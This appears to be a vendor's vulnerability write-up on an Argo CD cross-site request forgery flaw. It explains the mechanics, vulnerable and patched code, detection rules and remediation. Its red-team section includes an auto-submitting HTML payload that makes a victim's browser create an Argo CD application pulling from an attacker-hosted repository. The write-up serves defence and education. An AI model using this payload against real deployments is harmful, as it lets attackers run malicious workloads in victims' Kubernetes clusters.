CVE-2024-22424
Executive Summary
CVE-2024-22424 is a critical Cross-Site Request Forgery (CSRF) vulnerability in Argo CD, a popular GitOps continuous delivery tool for Kubernetes. The vulnerability allows an attacker to trick an authenticated Argo CD user into performing unintended actions, such as creating malicious applications, by exploiting a combination of lax SameSite cookie policies and missing Content-Type validation. The attack is particularly dangerous when Argo CD is hosted on an internal subdomain, as the browser will still send authentication cookies to the parent domain. The CVSS score is 8.4 (High), and the vulnerability affects all versions prior to 2.10-rc2, 2.9.4, 2.8.8, and 2.7.15. The patch introduces a breaking API change that requires non-GET requests to specify application/json as their Content-Type.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Argo CD is a Go-based application distributed as a container image and a binary. The vulnerability is in the API server component, which is part of the core Argo CD deployment. Organizations using Argo CD in their Kubernetes clusters should treat this as a high-priority supply chain risk, as a successful CSRF attack could lead to the deployment of malicious workloads, data exfiltration, or lateral movement within the cluster. The patch is available in the official Argo CD repository, and users should upgrade immediately.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Base Score: 8.4 (High)
- Attack Vector: Network (AV:N) – The attack can be launched remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – The attacker does not need to be authenticated.
- User Interaction: Required (UI:R) – The victim must click a link or visit a malicious page.
- Scope: Unchanged (S:U) – The vulnerability does not affect other components.
- Confidentiality Impact: High (C:H) – An attacker could read sensitive data.
- Integrity Impact: High (I:H) – An attacker could modify or create resources.
- Availability Impact: High (A:H) – An attacker could disrupt services.
Threat Level: Critical. The vulnerability is easy to exploit (low complexity) and requires only user interaction. The impact on confidentiality, integrity, and availability is high.
Deep Dive & Mechanics
The vulnerability is a classic CSRF attack with a twist. Argo CD uses the "Lax" SameSite cookie policy to prevent CSRF attacks from external domains. However, if Argo CD is hosted on a subdomain (e.g., argo.internal.example.com), an attacker who can place malicious content on another subdomain of the same parent domain (e.g., test.internal.example.com) can still perform a CSRF attack. The browser will send the authentication cookie because the request is to a parent domain.
Normally, browsers would block such attacks by sending a preflight request (OPTIONS) for POST requests with Content-Type: application/json. The preflight asks the server if it accepts cross-origin requests. If the server does not respond with the appropriate CORS headers, the browser blocks the request.
However, Argo CD did not validate the Content-Type header. An attacker could set the Content-Type to text/plain (which is considered "not sensitive" by browsers) and still send JSON data in the body. The browser would not send a preflight request, and Argo CD would process the request as if it were a legitimate API call. This allows the attacker to perform any action that the victim user is authorized to do, such as creating applications, modifying configurations, or running malicious code.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-Patch):
The vulnerable code did not check the Content-Type header for non-GET requests. It would accept any content type and process the request body as JSON.
// Vulnerable: No Content-Type validation
func (s *Server) handleRequest(w http.ResponseWriter, r *http.Request) {
if r.Method != "GET" {
// Process request body without checking Content-Type
body, _ := ioutil.ReadAll(r.Body)
var req Request
json.Unmarshal(body, &req)
// ... process request
}
}
Patched Code (Post-Patch):
The patched code enforces that non-GET requests must have Content-Type: application/json. It also provides a configurable list of accepted content types.
// Patched: Content-Type validation
func (s *Server) handleRequest(w http.ResponseWriter, r *http.Request) {
if r.Method != "GET" {
// Check Content-Type header
contentType := r.Header.Get("Content-Type")
if !isAcceptedContentType(contentType) {
http.Error(w, "Unsupported Content-Type", http.StatusUnsupportedMediaType)
return
}
body, _ := ioutil.ReadAll(r.Body)
var req Request
json.Unmarshal(body, &req)
// ... process request
}
}
func isAcceptedContentType(contentType string) bool {
acceptedTypes := []string{"application/json"}
// Configurable via environment variable or config file
for _, t := range acceptedTypes {
if strings.HasPrefix(contentType, t) {
return true
}
}
return false
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- An authenticated Argo CD user (victim).
- Ability to host a malicious HTML page on a subdomain of the same parent domain as Argo CD (e.g.,
test.internal.example.com). - Knowledge of the Argo CD API endpoints (e.g.,
/api/v1/applications).
Exploit Steps:
- Create a malicious HTML page that automatically submits a POST request to the Argo CD API.
- Set the
Content-Typetotext/plainto bypass the browser's preflight check. - Include the JSON payload in the request body (e.g., to create a malicious application).
- Trick the victim into visiting the malicious page (e.g., via a phishing email or a link on a compromised site).
Example Malicious HTML:
<!DOCTYPE html>
<html>
<body>
<form id="csrfForm" action="https://argo.internal.example.com/api/v1/applications" method="POST" enctype="text/plain">
<input type="hidden" name='{"metadata":{"name":"malicious-app"},"spec":{"source":{"repoURL":"https://attacker.com/malicious-repo","path":"."},"destination":{"server":"https://kubernetes.default.svc","namespace":"default"}}}' value="">
</form>
<script>
document.getElementById("csrfForm").submit();
</script>
</body>
</html>
Note: The above example is simplified. In practice, the attacker would need to craft the payload to match the exact API schema.
Blue Team (Detection & Defense)
Detection:
- Monitor for POST requests to Argo CD API endpoints with
Content-Typeother thanapplication/json. - Look for unusual patterns in API logs, such as requests from unexpected referrers or user agents.
- Use network monitoring to detect requests to Argo CD from subdomains that are not authorized.
Defense:
- Upgrade to the patched version immediately.
- If upgrade is not possible, configure a Web Application Firewall (WAF) to block requests with
Content-Typeother thanapplication/jsonfor non-GET requests. - Implement additional CSRF protections, such as custom headers (e.g.,
X-CSRF-Token). - Restrict access to Argo CD to trusted networks only.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to Argo CD API endpoints with
Content-Type: text/plainor other non-standard content types. - Requests originating from subdomains of the same parent domain as Argo CD (e.g.,
test.internal.example.com). - Unusual referrer headers (e.g., from a subdomain that is not normally used for Argo CD).
- POST requests to Argo CD API endpoints with
File IOCs:
- Malicious HTML files hosted on internal subdomains that contain auto-submitting forms targeting Argo CD.
Log IOCs:
- Argo CD API logs showing successful POST requests with
Content-Type: text/plain. - Browser logs showing preflight requests (OPTIONS) being skipped for POST requests to Argo CD.
- Argo CD API logs showing successful POST requests with
Detection Engineering
YARA Rule
rule CVE_2024_22424_ArgoCD_CSRF {
meta:
description = "Detects malicious HTML files attempting CSRF against Argo CD"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-22424"
strings:
$csrf_form = /<form[^>]*action=["']https?:\/\/[^"']*argo[^"']*["'][^>]*method=["']POST["'][^>]*enctype=["']text\/plain["']/
$argo_api = /\/api\/v1\/(applications|clusters|projects|repositories)/
$json_payload = /{"metadata":/
condition:
$csrf_form and $argo_api and $json_payload
}
Sigma Rule
title: Argo CD CSRF Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to Argo CD API with non-standard Content-Type
author: Valters IT
date: 2024-01-01
logsource:
category: webserver
product: argo-cd
detection:
selection:
http.method: POST
http.url|contains: /api/v1/
http.content_type|contains:
- text/plain
- text/html
- application/x-www-form-urlencoded
condition: selection
falsepositives:
- Legitimate API clients using non-standard content types (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-22424 - Argo CD CSRF Exploitation Attempt";
flow:to_server,established;
http.method; content:"POST";
http.uri; content:"/api/v1/";
http.content_type; content:"text/plain";
classtype:attempted-admin;
sid:1000001;
rev:1;
reference:cve,2024-22424;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade Argo CD to version 2.10-rc2, 2.9.4, 2.8.8, or 2.7.15 (or later).
- Verify the upgrade by checking that the API server rejects requests with
Content-Typeother thanapplication/json.
Configuration Changes:
- If you cannot upgrade immediately, configure a reverse proxy or WAF to enforce the
Content-Typecheck. - Consider disabling the content type check only as a last resort (not recommended).
Long-Term Mitigations:
- Implement additional CSRF protections, such as custom headers (e.g.,
X-CSRF-Token) or double-submit cookies. - Use network segmentation to isolate Argo CD from untrusted subdomains.
- Regularly review and update your CSRF protection mechanisms.
Workarounds:
- There are no known workarounds for this vulnerability. The only effective mitigation is to upgrade.
Valters IT
DevSecOps & Cyber Threat Intelligence Expert